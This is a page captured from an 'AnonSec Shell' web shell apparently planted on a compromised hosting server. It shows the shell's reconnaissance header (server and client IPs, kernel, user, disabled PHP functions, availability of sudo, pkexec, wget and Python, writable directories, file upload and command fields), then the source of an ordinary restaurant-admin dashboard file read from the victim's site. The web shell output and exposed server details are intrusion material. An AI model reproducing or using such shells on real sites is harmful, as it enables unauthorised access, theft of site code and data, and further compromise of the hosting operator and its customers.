AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/views/restaurantadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/views/restaurantadmin/dashboard.php
<?php
$ci = &get_instance();

if($ci->session->userdata('user_language'))
{
  $language = $ci->session->userdata('user_language');
}
else
{
  $language = $ci->config->item('language');
}

$data['user_language'] =  $language;
$this->lang->load('header', $language);
define("language", $language);
// if (!$this->session->userdata('staging_logged_in')) {
//     redirect('staginglogin');
// }
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1><?php echo $this->lang->line('Dashboard');?></h1>
<div class="breadcrumb topright">
			<div class="e-wallet1" onclick="window.location.href='<?=base_url().'restaurantadmin/refundorders'?>'" style="cursor: pointer;">
				<div>
				<?php echo $this->lang->line('Refund_Requests');?>
				</div>
				<div>
					<span id="RefundCount"><strong>0</strong></span>

				</div>
			</div>
		</div>
</section>
<style type="text/css">
	.w200{width: 200%;}
	@media (max-width: 1199px)
	{
		.w200{width: 100%;}
	}
</style>
<!-- Main content -->
<section class="content">
<!-- Info boxes -->
<div class="col-md-12 col-lg-12 custom-padding-0 mctop30">
<!-- tab section -->
<div class="col-md-12 col-lg-8 custom-padding-0">
<div class="nav-tabs-custom">
	<div class="box-header with-border overviewpad">
		<i class="fa fa-share-alt Ishare" aria-hidden="true"></i>
		<h3 class="box-title overviewtext"><?php echo $this->lang->line('OVERVIEW_OF_LAST');?></h3> <span class="reportview"> <?php echo $this->lang->line('report_overview');?></span>
		<div class="box-tools pull-right">
			<div class="">
				<button onclick="window.location='<?php echo base_url(); ?>restaurantadmin/restaurantorders'" type="button" class="btn btn-info actioncolor dropdown-toggle padding4 " data-toggle="dropdown"><?php echo $this->lang->line('View_All_Order');?> </button>
				<!-- <ul class="dropdown-menu" id="tabsection" style="width: 210px;">
					<li><a href="#"><span class="col-md-10 col-xs-10">All orders</span> <span class="btn-circle label label-warning">0</span></a></li>
					<li><a href="#"><span class="col-md-10 col-xs-10">In Preparation</span> <span class="btn-circle label label-success">0</span></a></li>
					<li><a href="#"><span class="col-md-10 col-xs-10">Out for Delivery</span> <span class="btn-circle label label-danger">0</span></a></li>
					<li><a href="#"><span class="col-md-10 col-xs-10">Completed Orders</span> <span class="btn-circle label label-info">0</span></a></li>
				</ul> -->
			</div>
		</div>
	</div>
	<!-- Tabs within a box -->
	<ul class="nav nav-tabs" id="tabsection">
		<li class="active"><a class="newtcos" href="#home" data-toggle="tab"><?php echo $this->lang->line('In_Preparation');?></a></li>
		<li class=""><a class="newtcos" href="#menu1" data-toggle="tab"><?php echo $this->lang->line('Out_for_Delivery');?></a></li>
		<li><a class="newtcos" href="#menu2" data-toggle="tab"><?php echo $this->lang->line('Completed_Orders');?></a></li>
		
	</ul>
	<div class="tab-content no-padding">
		<div id="home" class="tab-pane fade in active">
			<div class="box-body" id="customers">
				<div class="table-responsive">
					<table class="table no-margin table-hover">
						<thead>
							<tr class="label-info labelinfo1">
								<th>
									<?php echo $this->lang->line('Order_ID');?>
									
								</th>
								<th>
									<?php echo $this->lang->line('Order_Date_Time');?>
									
								</th>
								<th class="text-center"><?php echo $this->lang->line('Customers_Name');?></th>
								
								<th>
									<?php echo $this->lang->line('Amount');?>
									
								</th>
								<th></th>
							</tr>
						</thead>
						<tbody id="InPreparation">
							<?php echo $InPreparation; ?>
						</tbody>
					</table>
				</div>
			</div>
		</div>
		<div id="menu1" class="tab-pane fade">
			<div class="box-body" id="customers">
				<div class="table-responsive">
					<table class="table no-margin table-hover">
						<thead>
							<tr class="label-info labelinfo1">
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_ID');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_Date_Time');?>
									<span class="shorting-action">
         
      </span>
								</th>
								<th style="color:white !important;" class="text-center"><?php echo $this->lang->line('Customers_Name');?></th>
								
								<th style="color:white !important;">
									<?php echo $this->lang->line('Amount');?>
									<span class="shorting-action">
         
      </span>
								</th>
								<th></th>
							</tr>
						</thead>
						<tbody id="OutforDelivery">	
							<?php echo $OutforDelivery; ?>
						</tbody>
					</table>
				</div>
				<!-- /.table-responsive -->
			</div>
		</div>
		<div id="menu2" class="tab-pane fade">
			<div class="box-body" id="customers">
				<div class="table-responsive">
					<table class="table no-margin table-hover">
						<thead>
							<tr class="label-info labelinfo1">
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_ID');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_Date_Time');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Delivery_Date_Time');?>
									<span class="shorting-action">
        
      </span>
								</th>
								
								<th style="color:white !important;">
									<?php echo $this->lang->line('Driver');?>
									<span class="shorting-action">
        
      </span>
								</th>
								
								<th style="color:white !important;">
									<?php echo $this->lang->line('Amount');?>
									<span class="shorting-action">
       
      </span>
								</th>
								<th></th>
							</tr>
						</thead>
						<tbody id="Delivered">
							<?php echo $Delivered; ?>
							
						</tbody>
					</table>
				</div>
				<!-- /.table-responsive -->
			</div>
		</div>
		<div id="menu3" class="tab-pane fade">
			<div class="box-body" id="customers">
				<div class="table-responsive">
					<table class="table no-margin table-hover">
						<thead>
							<tr class="label-info labelinfo1">
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_ID');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Order_Date_Time');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Delivery_Date_Time');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th style="color:white !important;"><?php echo $this->lang->line('Drivers_Name');?></th>
								<th style="color:white !important;">
									<?php echo $this->lang->line('Amount');?>
									<span class="shorting-action">
        
      </span>
								</th>
								<th></th>
							</tr>
						</thead>
						<tbody>
							
							
						</tbody>
					</table>
				</div>
				<!-- /.table-responsive -->
			</div>
		</div>
	</div>

</div>
<div class="col-md-6 custom-padding-0">
	<div class="nav-tabs-custom">
		<div class="box-header with-border overviewpad">
			<i class="fa fa-bar-chart Ishare" aria-hidden="true"></i>
			<h3 class="box-title overviewtext"><?php echo $this->lang->line('Order_Statistics');?></h3>
		</div>
		<!-- start second table -->

		<!-- Tabs within a box -->
		<ul class="nav nav-tabs" id="tabsection">
			<li class="active"><a class="newtcos" href="#today" data-toggle="tab"><?php echo $this->lang->line('Today');?></a></li>
			<li><a class="newtcos" href="#week" data-toggle="tab"><?php echo $this->lang->line('Week');?></a></li>
			<li><a class="newtcos" href="#month" data-toggle="tab"><?php echo $this->lang->line('Month');?></a></li>
			<li><a class="newtcos" href="#year" data-toggle="tab"><?php echo $this->lang->line('Year');?></a></li>
		</ul>
		<div class="tab-content no-padding">
			<div id="today" class="tab-pane fade in active">
				<div class="box-body" id="customers">
					<div class="table-responsive">
						<table class="table no-margin table-hover">
							<thead>
								<tr class="label-info labelinfo1">
									<th colspan="6">
										<?php echo date("l, F j, Y"); ?>
									</th>
								</tr>
							</thead>
							<tbody>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Orders_Today');?></td>
									<td id="OrdersToday" class="paddingtop13"></td>
									
								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Sales_Today');?></td>
									<td id="SalesToday" class="paddingtop13"></td>
									
								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Delivered_Order');?></td>
									<td id="DeliveredOrderToday" class="paddingtop13"></td>
									
								</tr>
								<tr class="hide">
									<td class="paddingtop13"><?php echo $this->lang->line('In_Preparation');?></td>
									<td id="PendingOrderToday" class="paddingtop13"></td>
									
								</tr>
							</tbody>
						</table>
					</div>
					<!-- /.table-responsive -->
				</div>
			</div>
			<div id="week" class="tab-pane fade">
				<div class="box-body" id="customers">
					<div class="table-responsive">
						<table class="table no-margin table-hover">
							<thead>
								<tr class="label-info labelinfo1">
									<th colspan="6">
										<?php echo $this->lang->line('Week');?>
									</th>
								</tr>
							</thead>
							<tbody>
							<tr>
								<td class="paddingtop13"><?php echo $this->lang->line('Orders_Week');?></td>
								<td id="OrdersWeek" class="paddingtop13"></td>

							</tr>
							<tr>
								<td class="paddingtop13"><?php echo $this->lang->line('Sales_Week');?></td>
								<td id="SalesWeek" class="paddingtop13"></td>

							</tr>
							<tr>
								<td class="paddingtop13"><?php echo $this->lang->line('Delivered_Order');?></td>
								<td id="DeliveredOrderWeek" class="paddingtop13"></td>

							</tr>
							<tr class="hide">
								<td class="paddingtop13"><?php echo $this->lang->line('In_Preparation');?></td>
								<td id="PendingOrderWeek" class="paddingtop13"></td>

							</tr>
						</tbody>
						</table>
					</div>
					<!-- /.table-responsive -->
				</div>
			</div>
			<div id="month" class="tab-pane fade">
				<div class="box-body" id="customers">
					<div class="table-responsive">
						<table class="table no-margin table-hover">
							<thead>
								<tr class="label-info labelinfo1">
									<th colspan="6">
										<?php echo date("F"); ?>
									</th>
								</tr>
							</thead>
							<tbody>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Orders_Month');?></td>
									<td id="OrdersMonth" class="paddingtop13"></td>
									
								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Sales_Month');?></td>
									<td id="SalesMonth" class="paddingtop13"></td>

								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Delivered_Order');?></td>
									<td id="DeliveredOrderMonth" class="paddingtop13"></td>

								</tr>
								<tr class="hide">
									<td class="paddingtop13"><?php echo $this->lang->line('In_Preparation');?></td>
									<td id="PendingOrderMonth" class="paddingtop13"></td>

								</tr>
							</tbody>
						</table>
					</div>
					<!-- /.table-responsive -->
				</div>
			</div>
			<div id="year" class="tab-pane fade">
				<div class="box-body" id="customers">
					<div class="table-responsive">
						<table class="table no-margin table-hover">
							<thead>
								<tr class="label-info labelinfo1">
									<th colspan="6">
										<?php echo date('Y'); ?>
									</th>
								</tr>
							</thead>
							<tbody>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Orders_Year');?></td>
									<td id="OrdersYear" class="paddingtop13"></td>

								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Sales_Year');?></td>
									<td id="SalesYear" class="paddingtop13"></td>

								</tr>
								<tr>
									<td class="paddingtop13"><?php echo $this->lang->line('Delivered_Order');?></td>
									<td id="DeliveredOrderYear" class="paddingtop13"></td>

								</tr>
								<tr class="hide">
									<td class="paddingtop13"><?php echo $this->lang->line('In_Preparation');?></td>
									<td id="PendingOrderYear" class="paddingtop13"></td>

								</tr>
							</tbody>
						</table>
					</div>
					<!-- /.table-responsive -->
				</div>
			</div>
		</div>

	</div>
</div>



<!-- <tab section> -->
<div class="col-md-6 paddingright0">
	<div class="nav-tabs-custom">
		<div class="box-header with-border overviewpad">
			<i class="fa fa-link Ishare" aria-hidden="true"></i>
			<h3 class="box-title overviewtext"><?php echo $this->lang->line('Quick_Links');?></h3>
			<div class="clearfix"></div>
			<div class="col-md-6 col-sm-6">
				<button onclick="window.location='<?php echo base_url(); ?>restaurantadmin/menumanagement'" style="padding: 4px 20px !important;" data-toggle="control-sidebar" class="mctop25 btn-circle newsolidbtn1 btn btn-outline green btn-sm" style=""> <?php echo $this->lang->line('Add_Menu_Item');?></button>
			</div>
			<?php if(language == 'portuguese'){?>
			<div class="clearfix"></div>
			<?php }?>
			<div class="col-md-6 col-sm-6">
				<button onclick="window.location='<?php echo base_url(); ?>restaurantadmin/restaurantreport'" style="padding: 4px 26px !important;" data-toggle="control-sidebar" class="mctop25 btn-circle newsolidbtn1 btn btn-outline green btn-sm" style=""><?php echo $this->lang->line('View_Report');?></button>
			</div>
			<div class="col-md-6 col-sm-6">
				<button onclick="window.location='<?php echo base_url(); ?>restaurantadmin/restaurantorders'" style="padding: 4px 28px !important;" data-toggle="control-sidebar" class="mctop25 btn-circle newsolidbtn1 btn btn-outline green btn-sm" style=""><?php echo $this->lang->line('Latest_Order');?></button>
			</div>
			<div class="col-md-6 col-sm-6">
				<button onclick="window.location='<?php echo base_url(); ?>updaterestaurant/restaurant_invoice/'" data-toggle="control-sidebar" class="mctop25 btn-circle newsolidbtn1 btn btn-outline green btn-sm" style="padding: 4px 26px !important;"><?php echo $this->lang->line('View_Invoice');?></button>
			</div>
		</div>
	</div>
</div>

<div class="col-md-6 paddingright0" style="display: none;">
	<div class="nav-tabs-custom" style="padding: 11px 11px 30px;">
		<p style="font-size:18px;margin-top: 18px;"><?php echo $this->lang->line('Delivery_Dispatching_Tracking_Solution');?></p>
		<div class="onoffswitch">
			<input disabled type="checkbox" name="onoffswitch" class="onoffswitch-checkbox" id="myonoffswitch" checked>
			<label class="onoffswitch-label" for="myonoffswitch">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
		</div>
	</div>
</div>
<div class="col-md-6 paddingright0">
	<div class="nav-tabs-custom w200" style="">
		<div class="box-header with-border overviewpad" style="padding-bottom:27px !important;">
			<i class="fa fa-dot-circle-o Ishare" aria-hidden="true"></i>
			<h3 class="box-title overviewtext"><?php echo $this->lang->line('About');?> <?php echo $RestaurantDetails['restaurant_name']; ?></h3>
			<div class="clearfix"></div>
			<p class="mctop15">
				<?php
					if ($RestaurantDetails['restaurant_description'] != '') {
						echo $RestaurantDetails['restaurant_description'];
					}
					else {
						echo $this->lang->line('No_content_provided_yet');;
					}
				?>
			</p>
		</div>
	</div>
</div>
</div>
<!-- ./tab section -->
<div class="col-md-12 col-lg-4">
<div class="row">
	<div class="col-md-6 col-sm-6 col-xs-12 padRcustom">
		<div class="info-box posrelative">
			<div class="info-box-content col-md-12 col-sm-12 col-xs-12">
				<div class="info-box-text pietext"><?php echo $this->lang->line('Total_Order_Price');?></div>
				<div class="info-box-text pietext1 colortext2"><?=SITENAME_CURRENCY?><?php echo $TotalOrderPrice; ?></div>
			</div>
			<!-- /.info-box-content -->
			<div class="pieimgmanage posabsolute">
				<img src="<?php echo base_url(); ?>assets/img/today-orders.png" width="125">
			</div>
		</div>
		<!-- /.info-box -->
	</div>
	<!-- /.col -->
	<div class="col-md-6 col-sm-6 col-xs-12 padLcustom">
		<div class="info-box posrelative">
			<div class="info-box-content col-md-12 col-sm-12 col-xs-12">
				<div class="info-box-text pietext"><?php echo $this->lang->line('Pending_Order_Price');?></div>
				<div class="info-box-text pietext1  colortext1"><?=SITENAME_CURRENCY?><?php echo $PendingOrderPrice; ?></div>
			</div>
			<!-- /.info-box-content -->
			<div class="pieimgmanage posabsolute">
				<img src="<?php echo base_url(); ?>assets/img/today-sale.png" width="125">
			</div>
		</div>
		<!-- /.info-box -->
	</div>
	<!-- /.col -->
	<div class="clearfix visible-sm-block"></div>

	<div class="col-md-6 col-sm-6 col-xs-12 padRcustom">
		<div class="info-box posrelative">
			<div class="info-box-content col-md-12 col-sm-12 col-xs-12">
				<div class="info-box-text pietext"><?php echo $this->lang->line('Total_Earning');?></div>
				<div class="info-box-text pietext1 colortext3"><?=SITENAME_CURRENCY?><?php echo $TotalEarning ?></div>
			</div>
			<!-- /.info-box-content -->
			<div class="pieimgmanage posabsolute">
				<img src="<?php echo base_url(); ?>assets/img/total-stores.png" width="125">
			</div>
		</div>
		<!-- /.info-box -->
	</div>
	<!-- /.col -->
	<div class="col-md-6 col-sm-6 col-xs-12 padLcustom">
		<div class="info-box posrelative">
			<div class="info-box-content col-md-12 col-sm-12 col-xs-12">
				<div class="info-box-text pietext"><?php echo $this->lang->line('Total_Commission');?></div>
				<div class="info-box-text pietext1 colortext4"><?=SITENAME_CURRENCY?><?php echo $CommissionPrice; ?></div>
			</div>
			<!-- /.info-box-content -->
			<div class="pieimgmanage posabsolute">
				<img src="<?php echo base_url(); ?>assets/img/total-customers.png" width="125">
			</div>
		</div>
		<!-- /.info-box -->
	</div>
	<!-- /.col -->
</div>
<!-- /.row -->
<!-- <div class="nav-tabs-custom mctop5">
	<div class="box-header with-border overviewpad" style="padding-bottom:27px !important;">
		<i class="fa fa-dot-circle-o Ishare" aria-hidden="true"></i>
		<h3 class="box-title overviewtext">About <?php echo $RestaurantDetails['restaurant_name']; ?></h3>
		<div class="clearfix"></div>
		<p class="mctop15">
			<?php
				if ($RestaurantDetails['restaurant_description'] != '') {
					echo $RestaurantDetails['restaurant_description'];
				}
				else {
					echo "No content provided yet!";
				}
			?>
		</p>
	</div>
</div> -->
</div>
</div>
<div class="clearfix"></div>
</section>
<!-- /.content -->
<div class="clearfix"></div>
</div>
<!-- /.content-wrapper -->

<script type="text/javascript">
$( document ).ready(function() {
	updateRefundCount();
	refundNotification();
	setInterval(function() {
		updateRefundCount();
		refundNotification();
		// auto_re_data();
	}, 5000);
	setInterval(function() {
		auto_re_data();
	}, 30000);
});
function updateRefundCount() {
	var base_url='<?php echo base_url(); ?>';
    url= base_url+'superadmin/updateRefundCount';
	$.ajax({
		url: url,
		type: 'POST',
      	data: {csrf_token_apm: myCsrfHash},
      	success: function(data) {
      		$('#RefundCount').html('<strong>'+data+'</strong>');
      		//console.log(data);
      	}
	})
}
function refundNotification() {
	var base_url='<?php echo base_url(); ?>';
    url= base_url+'superadmin/refundNotification';
	$.ajax({
		url: url,
		type: 'POST',
      	data: {csrf_token_apm: myCsrfHash},
      	success: function(data) {
      		if (data != 0) {
      			if (data == 1) {
      				// alert(data+' new Refund Request is submitted');
      				alert('New Refund Request is submitted');
      			}
      			else if(data > 1) {
      				// alert(data+' new Refund Requests are submitted');
      				alert('New Refund Request is submitted');
      			}
      		}
      		//console.log(data);
      	}
	})
}
function view_order_details(orderid,e)
{

    var drawerTop = '0px';
    var documentHeight = 0;

    base_url='<?php echo base_url(); ?>';
    url= base_url+'restaurantordersrestaurant/OrderDetails'
    //alert(url);
    $.ajax({
        method: "POST",
        url: url,
        data: { order_id: orderid, csrf_token_apm: myCsrfHash },
        beforeSend: function(){
            /*$('<?php echo $this->loading; ?>').show();*/
        },
        success: function(data){

             //alert(data);
             document.getElementById("testPopupBottomTrack").innerHTML = data; 
            
            $('body').css('overflow', 'hidden');
            $("#testPopupBottomTrack").animate({
                'top': 0
            }, 1000);
           
        }
    });
}

function closeme()
{
    var documentHeight = 0;
     var drawerTop = '0px'; 
    documentHeight = $(document).height();
   
    $("#testPopupBottomTrack").animate({'top': documentHeight},1000);
    $('body').css('overflow', 'auto'); 
}

function do_pdf(orderid){

   // window.location='<?php echo base_url(); ?>superadmin/order_PDF/'+orderid;

    window.open('<?php echo base_url(); ?>superadmin/order_PDF/'+orderid,'_blank');
} 


function assign_driver(orderid, why)
{
	if (why === undefined) {
		why = 0;
	}
	$('#orderRow_'+orderid).removeClass('pending-blink');
	
	base_url='<?php echo base_url(); ?>';
    url= base_url+'restaurantordersrestaurant/assign_driver';

	$.ajax({
		method:"POST",
		url:url,
		data:{orderid:orderid, why: why, csrf_token_apm: myCsrfHash},
		success : function(data)
		{
			document.getElementById("msg").innerHTML = 'Delivery notification sent to drivers.';
			var obj = JSON.parse(data);
			//document.getElementById("InPreparation").innerHTML = obj['InPreparation'];
			document.getElementById("OutforDelivery").innerHTML = obj['OutforDelivery'];
			document.getElementById("Delivered").innerHTML = obj['Delivered'];
			//document.getElementById("msg").innerHTML = 'Driver has been assigned for delivery';
			//closeme();
		}
	});
	check_assign_driver(orderid);
}
function check_assign_driver(orderid) {
	var base_url = '<?php echo base_url(); ?>';
	setTimeout(function() {
		var myUrl= base_url+'restaurantordersrestaurant/check_assign_driver';
		console.log(myUrl);
		$.ajax({
			url: myUrl,
			method: 'POST',
			data: {orderid:orderid, csrf_token_apm: myCsrfHash},
			success: function(data) {
				//console.log(data);
				alert(data);
			}
		})
	}, 61000)
}
function auto_re_data()
{
	orderid = 0;
	base_url='<?php echo base_url(); ?>';
    url= base_url+'restaurantordersrestaurant/auto_re_data';

	$.ajax({
		method:"POST",
		url:url,
		data:{orderid:orderid, csrf_token_apm: myCsrfHash},
		success : function(data)
		{
			var obj = JSON.parse(data);
			document.getElementById("InPreparation").innerHTML = obj['InPreparation'];
			document.getElementById("OutforDelivery").innerHTML = obj['OutforDelivery'];
			document.getElementById("Delivered").innerHTML = obj['Delivered'];
			closeme();
		}

	});
}


// $( document ).ready(function() {
//     setInterval(
//     function() {

//     	auto_re_data();

//    }, 3000);
// });




</script>

Anon7 - 2022
AnonSec Team